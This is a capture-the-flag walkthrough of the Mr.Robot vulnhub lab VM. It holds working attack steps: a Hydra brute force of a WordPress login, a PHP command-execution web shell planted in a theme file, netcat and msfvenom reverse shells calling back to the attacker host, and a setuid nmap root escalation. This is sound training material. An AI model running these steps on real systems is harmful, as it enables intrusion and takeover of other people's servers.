Fork me on GitHub

Mr.Robot Walkthrough

WARNING: There will be spoilers to obtaining the 3 keys on Mr.Robot VM from Vulnhub. This is your warning! If you wish to penetration test this machine yourself, do not scroll down much further.
General disclaimer: I am by no means an expert penetration tester nor do I have a lot of experience doing penetration testing. This walkthrough is from the perspective of an amateur whom is trying to become better. The goal is for me to eventially take the OCSP. That being said, I had a bit of help from some colleagues from my company getting started but they by no means gave me the answers. I will be posting some of my hardships from a beginner perspective.


The Mr.Robot VM download from Vulnhub can be found here: https://www.vulnhub.com/entry/mr-robot-1,151/

The creator of this VM is Leon Johnson

Here's the basic description:

Based on the show, Mr. Robot.

This VM has three keys hidden in different locations. Your goal is to find all three. Each key is progressively difficult to find.

The VM isn't too difficult. There isn't any advanced exploitation or reverse engineering. The level is considered beginner-intermediate.

So let's kick it off!

1. Service Enumeration

The first thing any penetration tester will do is run a Nmap scan against their target. You can find Nmap pretty easily via a Google search but if you are lazy here ya go https://nmap.org/

I decided to basically just run a hail marry of Nmap scans which was essentially nmap -A -p1-65535 -vvv target_ip_address

-A = Enable OS detection, version detection, script scanning, and traceroute
-p1-65535 = Port scan from 1 to 65335
-vvv = Extra verbose output.

I got the following output for my Nmap scan:

Spoiler: Highlight to view
Starting Nmap 7.60 ( https://nmap.org ) at 2018-03-10 01:36 EST
NSE: Loaded 146 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 01:36
Completed NSE at 01:36, 0.00s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 01:36
Completed NSE at 01:36, 0.00s elapsed
Initiating ARP Ping Scan at 01:36
Scanning 192.168.1.26 [1 port]
Completed ARP Ping Scan at 01:36, 0.04s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 01:36
Completed Parallel DNS resolution of 1 host. at 01:36, 0.04s elapsed
Initiating Connect Scan at 01:36
Scanning 192.168.1.26 [1000 ports]
Discovered open port 80/tcp on 192.168.1.26
Discovered open port 443/tcp on 192.168.1.26
Completed Connect Scan at 01:36, 4.71s elapsed (1000 total ports)
Initiating Service scan at 01:36
Scanning 2 services on 192.168.1.26
Completed Service scan at 01:36, 12.05s elapsed (2 services on 1 host)
Initiating OS detection (try #1) against 192.168.1.26
NSE: Script scanning 192.168.1.26.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 01:36
Completed NSE at 01:36, 0.89s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 01:36
Completed NSE at 01:36, 0.00s elapsed
Nmap scan report for 192.168.1.26
Host is up, received arp-response (0.00029s latency).
Scanned at 2018-03-10 01:36:02 EST for 20s
Not shown: 997 filtered ports
Reason: 997 no-responses
PORT    STATE  SERVICE  REASON       VERSION
22/tcp  closed ssh      conn-refused
80/tcp  open   http     syn-ack      Apache httpd
|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
443/tcp open   ssl/http syn-ack      Apache httpd
|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=www.example.com
| Issuer: commonName=www.example.com
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2015-09-16T10:45:03
| Not valid after:  2025-09-13T10:45:03
| MD5:   3c16 3b19 87c3 42ad 6634 c1c9 d0aa fb97
| SHA-1: ef0c 5fa5 931a 09a5 687c a2c2 80c4 c792 07ce f71b
| -----BEGIN CERTIFICATE-----
| MIIBqzCCARQCCQCgSfELirADCzANBgkqhkiG9w0BAQUFADAaMRgwFgYDVQQDDA93
| d3cuZXhhbXBsZS5jb20wHhcNMTUwOTE2MTA0NTAzWhcNMjUwOTEzMTA0NTAzWjAa
| MRgwFgYDVQQDDA93d3cuZXhhbXBsZS5jb20wgZ8wDQYJKoZIhvcNAQEBBQADgY0A
| MIGJAoGBANlxG/38e8Dy/mxwZzBboYF64tu1n8c2zsWOw8FFU0azQFxv7RPKcGwt
| sALkdAMkNcWS7J930xGamdCZPdoRY4hhfesLIshZxpyk6NoYBkmtx+GfwrrLh6mU
| yvsyno29GAlqYWfffzXRoibdDtGTn9NeMqXobVTTKTaR0BGspOS5AgMBAAEwDQYJ
| KoZIhvcNAQEFBQADgYEASfG0dH3x4/XaN6IWwaKo8XeRStjYTy/uBJEBUERlP17X
| 1TooZOYbvgFAqK8DPOl7EkzASVeu0mS5orfptWjOZ/UWVZujSNj7uu7QR4vbNERx
| ncZrydr7FklpkIN5Bj8SYc94JI9GsrHip4mpbystXkxncoOVESjRBES/iatbkl0=
|_-----END CERTIFICATE-----
MAC Address: 08:00:27:AD:EE:84 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.8
TCP/IP fingerprint:
OS:SCAN(V=7.60%E=4%D=3/10%OT=80%CT=22%CU=%PV=Y%DS=1%DC=D%G=N%M=080027%TM=5A
OS:A37CE6%P=x86_64-pc-linux-gnu)SEQ(SP=FD%GCD=1%ISR=10F%TI=Z%CI=I%II=I%TS=8
OS:)OPS(O1=M5B4ST11NW6%O2=M5B4ST11NW6%O3=M5B4NNT11NW6%O4=M5B4ST11NW6%O5=M5B
OS:4ST11NW6%O6=M5B4ST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120
OS:)ECN(R=Y%DF=Y%TG=40%W=7210%O=M5B4NNSNW6%CC=Y%Q=)T1(R=Y%DF=Y%TG=40%S=O%A=
OS:S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%TG=40%W=0%S=A%A=Z%F=R%O=%RD=0%
OS:Q=)T5(R=Y%DF=Y%TG=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%TG=40%W=0%
OS:S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=N)U1(R=N)IE(R=Y%DFI=N%TG=40%CD=S)

Uptime guess: 198.839 days (since Wed Aug 23 06:28:44 2017)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=253 (Good luck!)
IP ID Sequence Generation: All zeros

TRACEROUTE
HOP RTT     ADDRESS
1   0.29 ms 192.168.1.26

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 01:36
Completed NSE at 01:36, 0.00s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 01:36
Completed NSE at 01:36, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.86 seconds
           Raw packets sent: 29 (2.970KB) | Rcvd: 13 (882B)

Based on the above Nmap scan, we can see that this host is running only 2 services.

The first service is SSH. However, the potential for a SSH attack vector is a no-go situation due to the fact the state of the port is closed and it's showing a refused connection:

PORT    STATE  SERVICE  REASON       VERSION
22/tcp  closed ssh      conn-refused

The other service we see running appears to be a web service based on the two ports (80, 443) that are open. Port 80 and port 443 are typically reserved for web services, port 80 being the insecure port and port 443 being the default port for HTTPS based connections. Additionally, the service shown is "http" and the version is shown as "Apache httpd": 

80/tcp open  http    syn-ack     Apache httpd
443/tcp open  ssl/http syn-ack     Apache httpd

2. Web (Server/Service)

The web service is the only thing attackable running on this system. So I take my trusty web browser and direct myself to the system's IP address.

I'm greeted with what appears to be a linux system booting up as seen below:

Once this "bootup" finishes, you are thrown into an Internet Relay Chat like window where "Mr.Robot" talks to you and presents you with valid commands. 

Rabbit Hole #1: So I sat there running through the different commands to see what they do.There was only one command Join which allowed for user input aside from your typical commands. I thought this might be one of the places I can perform some attack vectors. Well this command only accepted an email input with the typical user@domain.com format. I tried to trick this a few times by throwing backticks with commands like `echo whoami`@derp.com and it would take this as input but didn't do anything. If you put even a valid email nothing happens either.

So probably after 15 to 20 minutes I'll admit I kept trying different ways to trick this join command until I had determined I went down a rabbit hole and this wasn't the attack vector at all.

Back on track: I proceeded to load another tool called Nikto which is pretty useful for scanning web servers. It was a pretty basic command nikto -h target_ip_address

The following results appeared from having Nikto take a look at this "website"

Spoiler: Highlight to view
root@kali:~# nikto -h 192.168.1.26
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.1.26
+ Target Hostname:    192.168.1.26
+ Target Port:        80
+ Start Time:         2018-03-10 23:38:03 (GMT-5)
---------------------------------------------------------------------------
+ Server: Apache
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Retrieved x-powered-by header: PHP/5.5.29
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server leaks inodes via ETags, header found with file /robots.txt, fields: 0x29 0x52467010ef8ad
+ Uncommon header 'tcn' found, with contents: list
+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for 'index' were found: index.html, index.php
+ OSVDB-3092: /admin/: This might be interesting...
+ Uncommon header 'link' found, with contents: <http://192.168.1.26/?p=23>; rel=shortlink
+ /wp-links-opml.php: This WordPress script reveals the installed version.
+ OSVDB-3092: /license.txt: License file found may identify site software.
+ /admin/index.html: Admin login page/section found.
+ Cookie wordpress_test_cookie created without the httponly flag
+ /wp-login/: Admin login page/section found.
+ /wordpress/: A Wordpress installation was found.
+ /wp-admin/wp-login.php: Wordpress login found
+ /blog/wp-login.php: Wordpress login found
+ /wp-login.php: Wordpress login found
+ 7535 requests: 0 error(s) and 17 item(s) reported on remote host
+ End Time:           2018-03-10 23:42:58 (GMT-5) (295 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

So I noticed from the Nikto scan a few interesting things ranging from a robots.txt file to some Wordpress related folder hierarchy. 

Once I noticed this system was running Wordpress, I busted out a tool scalled wpscan. In short this tool scans websites that are Wordpress based for version information, potential plugins, installed themes, etc. It will then output any potential vulnerabilities it finds related to the previously listed information. 

Here's what I got with the following command wpscan --url target_ip_address --enumerate t

--url = the flag for what URL to scan
--enumerate t = enumerate the plugins installed

Spoiler: Highlight to view
root@kali:~# wpscan --url 192.168.1.26 --enumerate t
_______________________________________________________________
        __          _______   _____                  
        \ \        / /  __ \ / ____|                
         \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
          \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
           \  /\  /  | |     ____) | (__| (_| | | | |
            \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team
                       Version 2.9.3
          Sponsored by Sucuri - https://sucuri.net
   @_WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @_FireFart_
_______________________________________________________________

[+] URL: http://192.168.1.26/
[+] Started: Wed Mar 28 04:04:06 2018

[+] robots.txt available under: 'http://192.168.1.26/robots.txt'
[!] The WordPress 'http://192.168.1.26/readme.html' file exists exposing a version number
[+] Interesting header: SERVER: Apache
[+] Interesting header: X-FRAME-OPTIONS: SAMEORIGIN
[+] Interesting header: X-MOD-PAGESPEED: 1.9.32.3-4523
[+] XML-RPC Interface available under: http://192.168.1.26/xmlrpc.php

[+] WordPress version 4.3.15 (Released on 2018-01-16) identified from rss generator, rdf generator, atom generator, links opml
[!] 1 vulnerability identified from the version number

[!] Title: WordPress <= 4.9.4 - Application Denial of Service (DoS) (unpatched)
    Reference: https://wpvulndb.com/vulnerabilities/9021
    Reference: https://baraktawily.blogspot.fr/2018/02/how-to-dos-29-of-world-wide-webs...
    Reference: https://github.com/quitten/doser.py
    Reference: https://thehackernews.com/2018/02/wordpress-dos-exploit.html
    Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-6389

[+] Enumerating plugins from passive detection ...
[+] No plugins found

[+] Enumerating installed themes (only ones marked as popular) ...

   Time: 00:00:06 <==================================================================================> (400 / 400) 100.00% Time: 00:00:06

[+] No themes found

[+] Finished: Wed Mar 28 04:04:16 2018
[+] Requests Done: 746
[+] Memory used: 37.859 MB
[+] Elapsed time: 00:00:09

So based on the wpscan, I can see this website is running Wordpress 4.3.15 and there's one potential exploit which was a Denial of Service. We don't want to take this website offline so that's not what we need.

So I decided to give the robots.txt a shot and see what it had listed:

Spoiler: Highlight to view

User-agent: *
fsocity.dic
key-1-of-3.txt

So I of course browsed to key-1-of-3.txt to get the key. The key will be listed at the bottom with how it was found.

After viewing the key file, I pointed my browser at this fsocity.dic file. It was actually a dictionary file with a hundreds of thousands of entries. I saved this file for later usage. 

I proceeded to visit the admin page which is typically under http://site.com/wp-admin/. I tried typing some random credentials in to see if it would eventually lock me out. Well lucky for me, I never got locked out or have it aske for a captcha.

Rabbit hole #2: I start to Google for ways of obtaining the username that makes posts on the Wordpress website. A lot of these sites all had the same information which I attempted to follow. Unfortunately, the person who is running this website never actually created a blog post. So this became a fruitless method of obtaining the necessary admin credentials. I even tried "user" since the errors on the site would say "user's blog."

I've never actually watched the Mr.Robot series so I did some Googling to get character's names. I remember from the various commands in the IRC window would always mention "fsociety." ( http://mrrobot.wikia.com/wiki/Characters )

So I tried combinations of the names of all characters listed under fsociety. From first + last name, first name, last name, last name + first name, and I kept getting the following:

Wordpress error

So I know from using Wordpress in the past if you give it the proper username you get an error like so: 

error for proper user

Getting back on track: I proceed to go down the list of all the character names from the URL I listed above starting with "Elliot Anderson." Again I started to try all the same username combinations and found out the username is infact elliot.

Remember that fsocity.dic file we found thanks to the robots.txt? I figured let's try using this as our password dictionary file for a brute force against the Wordpress login.

I loaded up THC Hydra and gave it the following command to execute my brute force: hydra -l elliot -P fsocity.dic target_ip_address -V http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In:S=Location' -t 64

If we breakdown the above command:

-l = single user only. If we wanted to supply a list it would be capital "L"
-P = Password file to scan through
target_ip_address = The website we intend to attack
-V = Verbose mode. This will show all the login attempts with the elliot:password combination from the password file
http-post-form = The supported service we want to attack. Login form is a HTTP POST
/wp-login.php = the page we intend to attack that has the login form
log = Wordpress's username field has a name of "log"
^USER^ = the variable for hydra to replace with the username
pwd = Wordpress's password field has a name of "pwd"
^PASS^ = the variable for hydra to replace with the password
wp-submit=Log in = the field name and value of Wordpress Submit form button
S = the success flag to look for, in this case "Location." Think of this like grepping the web page
-t = The number of threads (64)

In hindsight I could've and should've used THC Hydra to crack the username but I didn't. I took the long and tedious way of doing it.

So here's what some of the Hydra scan looks like:

Spoiler: Highlight to view
Hydra Scan

I had Hydra run over night so I didn't really get a good estimate of how long it took  (oh well I suppose). I came back to see that the credentials for elliot were found:

Spoiler: Highlight to view

[80][http-post-form] host:192.168.1.26   login: elliot   password: ER28-0652
1 of 1 target succesfully completed, 1 valid password found

For grins and giggles I decided to see where this password was in the fsocity.dic file. It was basically the 5th password from the bottom....c'mon.

So I finally have the credentials I need to log into the website. Whether "elliot" is an admin user is yet to be known. I input elliot's credentials into the login form and huzzah! I am in to what appears to be the backend of a Wordpress. Just to be sure I view the users page just to verify that elliot is infact the administrator of this Wordpress website. Sweet!

Rabbit hole #3: So I'm logged into this Wordpress as an administrator. Of course I try the hardest way possible to get myself a way to execute shell commands. I visit the Media upload page and I try for a bit to trick the system into allowing an "image" file with an embedded PHP shell. 

Getting back on track: So after giving up on following the rabbit hole, I decide to edit the main template's 404 php page. I remove all the existing code and throw a very basic PHP script that allows me to execute system calls:

Spoiler: Highlight to view
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>

Credit for this 1 liner goes out to "Sente" on github: https://gist.github.com/sente/4dbb2b7bdda2647ba80b

I navigate to the 404 page with a basic linux command via http://192.168.1.26/wp-content/themes/twentyfive/404.php?cmd=ifconfig to see if it will give me the server's IP address information and it did!

I proceed to browse the file system and give the /home/ directory a shot to see what I'd find. I found a directory called robot so I browse into and find key #2 (which is owned by robot and readable only by robot) and another file which appears to be a password hash!

Spoiler: Highlight to view
mrrobot key

The contents of key #2 will be displayed towards the end.

I look to view the contents of this passowrd.raw-md5 file and get what appears to be the md5 hash password for robot account's login:

Spoiler: Highlight to view
robot hash

I take the hash of "c3fcd3d76192e4007dfb496cca67e13b" and throw it through a md5 hash cracking website to get robot's password:

Spoiler: Highlight to view
md5 hash cracked

So at this point I have a PHP based shell that accepts commands and returns the output and the credentials to login as the robot user on the system. I do not have an actual shell or even an interactive shell at this point.

3. Establishing a Foothold

So at this point I am just piercing the outside of the onion if you will. I have a very basic way to call commands and get the output and need to use what I have found/obtained to get an interactive shell on this system so I can become robot and maybe eventually even root. 

Rabbit hole #4: I check to see if netcat is on this system and it was

netcat

I proceeded to spend the next 15 minutes trying to make this machine netcat back to my Kali box with a shell using variants of the command nc kali_box 4444 -e /bin/bash and I've even made the target machine sit with the listener nc -lvp 4444 -e /bin/bash. I came to realize after some time that not all versions of netcat have the -e flag / parameter. This was exactly the case with Mr.Robot so I had to improvise a way to get myself a shell or make it connect back to my Kali box.

To get myself back on track I loaded up the msfvenom tool to create a perl based payload:

Spoiler: Highlight to view
msfvenom -p cmd/unix/reverse_perl LHOST=192.168.1.24 LPORT=6666 -f raw > shell.pl

After creating the payload, I forced my Kali box to host a basic web service with the shell.pl as one of the files. Then in my web browser, I called my basic php shell script to download the file using wget and then execute it:


wget
payload called

Voila! I have a basic shell:

basic shell

After obtaining a basic shell, I needed to escalate to an interactive shell that way I can perform commands like su to become another user. 

In my basic shell, I use the following command:

Spoiler: Highlight to view

python -c 'import pty; pty.spawn("/bin/bash")'
interactive shell

And then I became "robot"!

robot

Now that I was able to become the user robot, I head back to robot's home directory at /home/robot/ and view the contents of the 2nd key.

4. Escalation

At this point I now have keys #1 & #2, an interactive shell on the host, and the credentials to robot. My initial foothold was rather fruitful but now I need to escalate farther. I need to become the root user. 

Although my penetration experience is mediorcre, I at least kind of knew to try and find some potential commands with the setuid bit where root is the user / group owner. This is usually one of a few ways to perform a local privilege escalation to root. 

I ran the command find / -perm -u=s -type f 2>/dev/null to find all files on the file system where:

-perm -u=s = This is the flag to find any files where the user's permissions have the setuid bit
-type f = Find only files
2>/dev/null = Take all standard error and redirect it to "the garbage collection"

My results were as follows:

Spoiler: Highlight to view

/bin/ping
/bin/umount
/bin/mount
/bin/ping6
/bin/su
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/local/bin/nmap
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/usr/lib/pt_chown

I know nmap has an interactive mode so I launch nmap in the interactive mode using nmap --interactive and I got the following window/prompt:

Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap>

Well if you want to break out of the nmap interactive mode and go back to the shell simply enter !sh at the nmap prompt

BAM! Root access:

root access

After obtaining root access I found key #3 in root's directory /root

5. Flags/Keys

Flag #1: This was found early after essentially performing a web scan in the robots.txt file

Here's the actual flag:

Spoiler: Highlight to view
073403c8a58a1f80d943455fb30724b9

Flag #2: This flag was found after establishing a basic foothold on the system. It was done only after hijacking a PHP page that's apart of Wordpress.

Here's the actual flag:

Spoiler: Highlight to view

822c73956184f694993bede3eb39f959
flag2

Flag #3: This was only obtainable after performing a privilege escalation as the flag was sitting in root's home directory

Here's the actual flag:

Spoiler: Highlight to view

04787ddef27c3dee1ee161b21670b4e4
key 3

There ya have it! The walkthrough of the Mr.Robot vulnhub VM. Please feel free to add any constructive feedback for any future walkthroughs I write up, tips for becoming a better pen tester, etc.